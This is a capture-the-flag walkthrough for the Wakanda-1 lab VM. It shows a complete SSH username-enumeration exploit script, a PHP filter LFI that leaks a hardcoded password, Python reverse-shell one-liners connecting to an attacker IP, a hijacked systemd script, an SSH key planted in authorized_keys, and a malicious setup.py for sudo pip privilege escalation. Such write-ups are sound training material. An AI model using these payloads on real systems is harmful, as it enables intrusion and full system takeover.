Another solved CTF, this time it’s an LFI, a misconfigured systemd service, and sudo configured incorrectly allowing pip execution.
We download the VM from vulnhub or from alfaexploit:
https://www.vulnhub.com/entry/wakanda-1,251/
temple-of-DOOM-v1.ova
We scan the ports with nmap:
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-10 16:17 CEST
Nmap scan report for 192.168.1.2
Host is up (0.00021s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
3333/tcp open dec-notes
38482/tcp open unknown
MAC Address: 08:00:27:44:57:EB (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.40 seconds
There is an ssh on port 333:
SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4
Protocol mismatch.
We check some users taken from the web based on words that appear on it: Made by
@mamadou
#!/usr/bin/env python
# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
import argparse
import logging
import paramiko
import socket
import sys
class InvalidUsername(Exception):
pass
def add_boolean(*args, **kwargs):
pass
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)
def userauth_failure(*args, **kwargs):
raise InvalidUsername()
paramiko.auth_handler.AuthHandler._handler_table.update({
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
except socket.error:
print '[-] Failed to connect'
sys.exit(1)
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print '[-] Failed to negotiate SSH transport'
sys.exit(2)
try:
transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print '[*] Invalid username'
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print '[+] Valid username'
[+] Valid username
[*] Invalid username
[*] Invalid username
[+] Valid username
With curl we detect a possible
LFI
:
< Server: Apache/2.4.10 (Debian)
a class="nav-link active" href="?lang=fr"
Let’s try manually:
Prochaine ouverture du plus grand marché du vibranium. Les produits viennent directement du wakanda. Restez à l'écoute! </p>
It must be including the NAME.php, but if I include index, nothing comes out:
However, if I use the php filter trick:
We can see the source code of the index:
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
if (isset($_GETlang))
{
include($_GETlang.".php");
}
?>
Let’s try to use that password with the user mamadou:
Niamey4Ever227!!!
It takes me to a python:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 3 15:53:29 2018 from 192.168.56.1
Python 2.7.9 (default, Jun 29 2016, 13:08:31)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
We invoke the shell from python:
uid=1000(mamadou) gid=1000(mamadou) groups=1000(mamadou)
root:x:0:0:root:/root:/bin/bash
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash
Let’s look for gaps in the system:
python linuxprivchecker.py
This file is writable:
open(’/tmp/test’,‘w’).write(’test’)
There is a systemd unit that uses it:
ExecStart=/usr/bin/env python /srv/.antivirus.py
# /lib/systemd/system/antivirus.service
[Unit]
Description=Antivirus
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=always
RestartSec=300
User=devops
ExecStart=/usr/bin/env python /srv/.antivirus.py
[Install]
WantedBy=multi-user.target
Modificamos el script para que nos sirva una rshell:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
As the unit has restart=always, we just wait 300s(5m):
/bin/sh: 0: can’t access tty; job control turned off
$ id
uid=1001(devops) gid=1002(developer) groups=1002(developer)
We add our ssh key to access more comfortably:
mkdir .ssh
echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVQnniSdSbjmAtjMfLpj5hjTRz8Xr/5pn7G43cznRXSQ3zCG6QvEqNEOxVkMfvDx+esIaINrecyD388l9gctqrXb13kE7JxQZnXW6rnJcCG96r006nR1sz7bXrj0OGRBIag53MK4fX1MhkJi6bsV4JiOEBB5bnnDvD1YuuO6zEPIl58w4h21JI7R78Zg9nWwAyNBgJsaCq4kyt1g4GpRtil00V0GERMfyKaS3CcjvSHMQKNR8INzW+BCo8KIZCUXdgl7h4qjo0064/1tCWNo6Yv1gtnjxK3nWo6AaC9Cno58RCb0FuRg+GS5LGQuKRXH8NdTYl4KG4usrtfSbO6pCf juanjo@skynet” > .ssh/authorized_keys
devops@Wakanda1:
We can probably abuse pip:
User devops may run the following commands on Wakanda1:
(ALL) NOPASSWD: /usr/bin/pip
pip has the setuid bit enabled:
-rwxr-sr-- 1 root developer 281 Feb 27 2015 /usr/bin/pip
If we manage to install a pip package, we will probably get root:
https://python-packaging.readthedocs.io/en/latest/
Let’s generate our package:
cd kr0mRS
mkdir kr0mRS
cd kr0mRS
def rs():
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
from setuptools import setup
setup(name='kr0mRS',
version='0.1',
description='kr0mRS',
url='http://github.com/kr0m/RS',
author='kr0m',
author_email='kr0m@alfaexploit.com',
license='MIT',
packages=['kr0mRS'],
zip_safe=False)
We put a netcat to listen:
We install our package using pip:
Unpacking /home/devops/kr0mRS
Running setup.py (path:/tmp/pip-AIC4WL-build/setup.py) egg_info for package from file:///home/devops/kr0mRS
Installing collected packages: kr0mRS
Running setup.py install for kr0mRS
Successfully installed kr0mRS
Cleaning up...
We import the library and execute the rs function:
>>> import kr0mRS
>>> kr0mRS.rs()
And we get our shell but with the devops user:
id
/bin/sh: 0: can't access tty; job control turned off
$ uid=1001(devops) gid=1002(developer) groups=1002(developer)
This is because only the setup part of the package is executed as root, so we must put the RS code in the setup:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
from setuptools import setup
setup(name='kr0mRS',
version='0.1',
description='kr0mRS',
url='http://github.com/kr0m/RS',
author='kr0m',
author_email='kr0m@alfaexploit.com',
license='MIT',
packages=['kr0mRS'],
zip_safe=False)
We listen again with our netcat:
Now we don’t need to import the library or execute the function since the setup is automatically executed when the pip package is installed:
Unpacking /home/devops/kr0mRS
Running setup.py (path:/tmp/pip-7PvLGw-build/setup.py) egg_info for package from file:///home/devops/kr0mRS
And we receive the root shell:
# id
uid=0(root) gid=0(root) groups=0(root)